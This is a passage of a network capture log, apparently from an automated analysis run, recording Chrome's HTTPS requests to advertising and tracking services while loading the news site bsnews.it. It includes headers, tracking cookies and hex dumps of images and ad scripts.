2024-03-28 08:51:25 UTC	608	IN	HTTP/1.1 204 No Content Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/json Connection: close CF-Ray: 86b660d67b25057c-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3qXAtLa2Mrwfg28dhR3azKA3eVRH6ef4Ce%2FwVkr7EHIPZzKqtIrh%2BvIlz1%2BDdQGbGaJaEAq1XSuvbWYDmxczTtYGDpov5V7N%2F3BXnV94fxoLtw6rob93XHBVSrrzZK8VRHh9B6U0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.4	50079	68.67.153.61	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	441	OUT	GET /pbc/v1/cache HTTP/1.1 Host: prebid.adnxs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; uuid2=3287041831475129344
2024-03-28 08:51:25 UTC	214	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.1 Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close Vary: Origin X-Content-Type-Options: nosniff
2024-03-28 08:51:25 UTC	44	IN	GET /cache: Missing required parameter uuid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.4	50089	15.197.193.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	699	OUT	GET /track/cmf/generic?ttd_pid=neodata&ttd_tpi=1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYBSgCMgsIsoLWn9_D5zwQBTgB
2024-03-28 08:51:25 UTC	545	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Length: 259 Connection: close server: Kestrel location: https://tracker.neodatagroup.com/cm?eid=a109dc60-dc7c-45e5-ab53-e2448a53420f&pv=TDD&sid=1011&rt=img&rnd=1714207885 set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:25 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYASABKAIyCwjY_OG338PnPBAFOAFaB25lb2RhdGFgAg..; expires=Fri, 28 Mar 2025 08:51:25 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:25 UTC	259	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 72 61 63 6b 65 72 2e 6e 65 6f 64 61 74 61 67 72 6f 75 70 2e 63 6f 6d 2f 63 6d 3f 65 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 70 76 3d 54 44 44 26 73 69 64 3d 31 30 31 31 26 72 74 3d 69 6d 67 26 72 6e 64 3d 31 37 31 34 32 30 37 38 38 35 22 3e 68 74 74 70 73 3a 2f 2f 74 72 61 63 6b 65 72 2e 6e 65 6f 64 61 74 61 67 72 6f 75 70 2e 63 6f 6d 2f 63 6d 3f 65 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 70 76 3d 54 44 44 26 73 69 64 3d 31 30 31 31 26 72 74 3d 69 6d 67 26 72 6e 64 3d 31 37 31 34 32 30 37 38 38 35 Data Ascii: Redirecting to: <a href="https://tracker.neodatagroup.com/cm?eid=a109dc60-dc7c-45e5-ab53-e2448a53420f&pv=TDD&sid=1011&rt=img&rnd=1714207885">https://tracker.neodatagroup.com/cm?eid=a109dc60-dc7c-45e5-ab53-e2448a53420f&pv=TDD&sid=1011&rt=img&rnd=1714207885

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.4	50085	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	373	OUT	GET /codesour/assets/codesour-logo.png HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	596	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: image/png Content-Length: 23963 Connection: close Last-Modified: Fri, 29 Dec 2023 10:11:19 GMT x-rgw-object-type: Normal ETag: "019116981fc1e850d6aa810db0a61d20-1" x-amz-request-id: tx00000cba610f758b2ef6c-00658ea2b0-2bbc492-prg X-77-NZT: AyUTzgQ3Nzf/0zcCALk73xQ3Nzf/dSwAAG09WgLyjOMA X-77-NZT-Ray: 8e305f1ca2f588ed8d2f05665392c231 X-Accel-Expires: @1711987856 X-Accel-Date: 1711470522 X-77-Cache: HIT X-77-Age: 156744 Server: CDN77-Turbo X-Cache: HIT X-Age: 145363 X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:25 UTC	15788	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 ef 00 00 03 ef 08 06 00 00 00 b2 7a ff 25 00 00 00 09 70 48 59 73 00 00 00 01 00 00 00 01 00 4f 25 c4 d6 00 00 00 24 7a 54 58 74 43 72 65 61 74 6f 72 00 00 08 99 73 4c c9 4f 4a 55 70 4c 2b 49 2d 52 70 4d 4b 4b 4d 2e 29 06 00 41 7a 06 ce 6a 7a 15 c5 00 00 20 00 49 44 41 54 78 9c ec dd e1 75 1c c5 b6 36 e0 5d 77 dd ff e6 44 60 7d 11 d8 44 e0 21 02 4c 04 e8 44 60 13 01 22 02 4c 04 cc 89 00 39 02 da 11 20 45 70 e5 08 8e 15 41 7d 3f a6 85 65 23 5b ea d1 f4 ec aa ee e7 59 4b cb c0 02 cf 7b 4e 5b 9a d9 5d 6f 57 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRz%pHYsO%$zTXtCreatorsLOJUpL+I-RpMKKM.)Azjz IDATxu6]wD`}D!LD`"L9 EpA}?e#[YK{N[]oWE
2024-03-28 08:51:25 UTC	8175	IN	Data Raw: 69 6f b5 d6 37 11 f1 2a 3b 07 30 9f 52 8a 79 00 3a e1 9b 15 1a 65 78 e7 2b ae 23 e2 64 5c 01 a6 61 0f d8 f8 ae e5 ba fc 26 22 fe cc ce 01 cc cb f0 0e fd b0 61 1d 40 7f 4e 0d ee 7d 78 c0 c6 77 ea f2 40 a6 eb ec 00 c0 c3 79 e6 1d da 65 38 e3 2e 6f 9d c7 db af 52 ca 45 44 5c 44 c4 59 72 94 fb 9c c5 61 36 e2 03 da 76 91 1d 00 78 38 2b ef d0 2e 6f a8 7c ee 3a 22 4e b3 43 b0 6c 63 5d de 73 ee 00 d0 18 c3 3b 40 3f d4 e5 99 95 ba 3c 00 b4 cb f0 0e d0 8f 6d ad f5 bc d6 7a 3a 6e 84 06 87 76 16 ea f2 b0 26 6e 08 43 47 3c f3 0e ed ba ca 0e 40 73 9e c4 ee 1c f1 ef 23 22 6a ad ef 63 77 d6 f8 e0 39 78 1e 4b 5d 1e 56 c9 23 7a d0 11 2b ef d0 a8 16 77 a0 a6 39 4f 63 37 6c fd 51 77 86 5a eb eb 5a eb f3 ec 60 f4 45 5d 1e 00 da 67 e5 1d 60 39 5e 8c 5f 37 ab f2 c3 f8 75 ee 59 Data Ascii: io7*;0Ry:ex+#d\a&"a@N}xw@ye8.oRED\DYra6vx8+.o\|:"NClc]s;@?<mz:nv&nCG<@s#"jcw9xK]V#z+w9Oc7lQwZZ`E]g`9^_7uY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.4	50072	34.198.227.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	413	OUT	GET /rtb/bid?src=prebid_prebid_8.33.0 HTTP/1.1 Host: ap.lijit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_
2024-03-28 08:51:25 UTC	271	IN	HTTP/1.1 204 No Content Date: Thu, 28 Mar 2024 08:51:25 GMT Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.4	50093	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	536	OUT	GET /codesour/bsnews/445.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	671	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 6408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:33 GMT x-rgw-object-type: Normal ETag: "4b0b0ea962813d3f45080153eb858f67" x-amz-request-id: tx00000e09f77b7085ef870-0065cb824f-2bc58ec-prg X-77-NZT: AyUTzgQ3NzehnJI73zc3N+/hbQUAbT1aAk9b/QA X-77-NZT-Ray: 8e305f1c2af55ded8d2f05665f77c331 X-Accel-Expires: @1711778476 X-Accel-Date: 1711260076 X-77-Cache: HIT X-77-Age: 355809 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:25 UTC	6408	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 34 35 5d 2c 7b 39 38 38 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 7b 43 3a 28 29 3d 3e 6c 7d 29 3b 76 61 72 20 69 3d 6e 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 72 7d 3d 69 2e 74 2c 6f 3d 6e 65 77 20 72 28 22 44 4f 4d 20 4d 61 6e 61 67 65 72 22 29 2c 6c 3d 7b 63 72 65 61 74 65 44 4f 4d 45 6c 65 6d 65 6e 74 3a 61 2c 63 72 65 61 74 65 44 69 76 41 6e 64 41 70 70 65 6e 64 3a 75 2c 63 72 65 61 74 65 50 6c 61 63 65 48 6f 6c 64 65 72 41 6e 64 53 74 79 6c 65 3a 63 2c 63 68 65 63 6b 50 61 67 65 53 65 6c 65 63 74 6f 72 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[445],{988:(t,e,n)=>{"use strict";n.d(e,{C:()=>l});var i=n(845);const{LoggerSour:r}=i.t,o=new r("DOM Manager"),l={createDOMElement:a,createDivAndAppend:u,createPlaceHolderAndStyle:c,checkPageSelector

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.4	50064	8.2.110.31	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	354	OUT	GET /?c=o&m=multi HTTP/1.1 Host: pub.admanmedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	350	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: https://undefined Access-Control-Allow-Credentials: true Content-Encoding: gzip Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Frame-Options: DENY
2024-03-28 08:51:25 UTC	22	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 03 8b 8e 05 00 29 bb 4c 0d 02 00 00 00 Data Ascii: )L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.4	50058	51.81.154.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	371	OUT	GET /geotarget/geocity.php?dnt=1 HTTP/1.1 Host: services.sunmedia.tv Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, s-maxage=3600 X-Device: mobile Age: 2010 TP-Cache: HIT Vary: Accept-Encoding, Accept-Encoding Access-Control-Allow-Credentials: true
2024-03-28 08:51:25 UTC	73	IN	Data Raw: 34 33 0d 0a 7b 22 63 69 74 79 22 3a 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 67 65 6f 47 72 6f 75 70 22 3a 22 41 4e 22 2c 22 45 55 22 3a 66 61 6c 73 65 2c 22 72 65 67 69 6f 6e 22 3a 22 44 43 22 7d 7d 0a 0d 0a Data Ascii: 43{"city":{"country":"US","geoGroup":"AN","EU":false,"region":"DC"}}
2024-03-28 08:51:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.4	50056	172.253.122.106	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	766	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-11020879-7&cid=30849489.1711615863&jid=988736763&_u=YADAAUAAAAAAACAAI~&z=36407948 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk
2024-03-28 08:51:25 UTC	539	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 28 Mar 2024 08:51:25 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.4	50061	138.199.8.195	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	433	OUT	GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=req&pos=0&loop=1&pb=1&rnd=1711615872208 HTTP/1.1 Host: track.sunmedia.tv Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	357	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: image/gif Content-Length: 42 Connection: close Last-Modified: Thu, 15 Nov 2018 09:59:07 GMT Cache-control: max-age=0, s-maxage=31536000 X-Device: desktop Accept-Ranges: bytes Age: 49179 TP-Cache: HIT Vary: Accept-Encoding Access-Control-Allow-Credentials: true
2024-03-28 08:51:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.4	50068	147.135.119.115	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	690	OUT	GET /prebid/v1 HTTP/1.1 Host: prg.smartadserver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pbw=%24b%3d16999%3b%24o%3d11100; vs=281855=5910291; TestIfCookie=ok; TestIfCookieP=ok; sasd=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6; pid=7766515454130361199; sasd2=q=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6&c=1&l&lo&lt=638472126794237323&o=1
2024-03-28 08:51:25 UTC	123	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 date: Thu, 28 Mar 2024 08:51:25 GMT allow: POST connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.4	50063	3.162.128.169	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	372	OUT	GET /bao-csm/aps-comm/aps_csm.js HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	611	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 6482 Connection: close Date: Thu, 28 Mar 2024 08:51:26 GMT Last-Modified: Thu, 29 Feb 2024 02:13:08 GMT ETag: "a4d296427fc806b21335359e398c025c" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=86400 x-amz-version-id: r5.lR.LJ66XEXzxUUVo7iMemjL_F_GoE Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 6f3ebc2cbc39563710a79620f7c154f0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P3 X-Amz-Cf-Id: Jj_TrHxd7C0EVhR2RiZKy0hjzH5KVFP6dX6EexeCBH0UcaXDRqWqLQ==
2024-03-28 08:51:25 UTC	6482	IN	Data Raw: 76 61 72 20 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 3d 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 7c 7c 7b 7d 3b 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 65 72 72 6f 72 73 3d 5b 5d 2c 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 72 65 70 6f 72 74 45 72 72 6f 72 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 3b 66 6f 72 28 2f 5e 68 74 74 70 73 3f 3a 5c 2f 5c 2f 2f 2e 74 65 73 74 28 61 29 3d 3d 3d 21 31 26 26 28 61 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 61 29 2c 22 2f 22 21 3d 3d 61 2e 73 75 62 73 74 72 28 61 2e 6c 65 6e 67 74 68 2d 31 29 26 26 28 61 2b 3d 22 2f 22 29 2c 62 3d 30 3b 62 3c 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 65 72 72 6f 72 73 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 63 3d 27 7b 22 61 64 Data Ascii: var amzn_aps_csm=amzn_aps_csm\|\|{};amzn_aps_csm.errors=[],amzn_aps_csm.reportErrors=function(a){var b,c;for(/^https?:\/\//.test(a)===!1&&(a=document.location.protocol+"//"+a),"/"!==a.substr(a.length-1)&&(a+="/"),b=0;b<amzn_aps_csm.errors.length;b++)c='{"ad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.4	50086	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	516	OUT	OPTIONS /v1/trk/adv HTTP/1.1 Host: audience.codesour.tech Connection: keep-alive Cache-Control: max-age=0 Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization,content-type Origin: https://bsnews.it User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	474	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:25 GMT Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: authorization, content-type Access-Control-Max-Age: 3600 Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.4	50057	208.115.237.110	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	406	OUT	GET /ex/ HTTP/1.1 Host: s.richaudience.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
2024-03-28 08:51:25 UTC	250	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-03-28 08:51:25 UTC	22	IN	Data Raw: 63 0d 0a 65 79 4a 6c 49 6a 6f 78 66 51 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: ceyJlIjoxfQ==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.4	50069	34.235.214.237	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	434	OUT	GET /universal/v1?supply_id=WYu2BXv1 HTTP/1.1 Host: btlr.sharethrough.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: stx_user_id=e222cac2-a257-448a-96d5-9494eb4fc58c
2024-03-28 08:51:25 UTC	101	IN	HTTP/1.1 404 Not Found content-length: 0 date: Thu, 28 Mar 2024 08:51:25 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.4	50067	208.115.237.110	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	408	OUT	GET /hb/ HTTP/1.1 Host: shb.richaudience.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
2024-03-28 08:51:25 UTC	313	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400
2024-03-28 08:51:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.4	50080	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

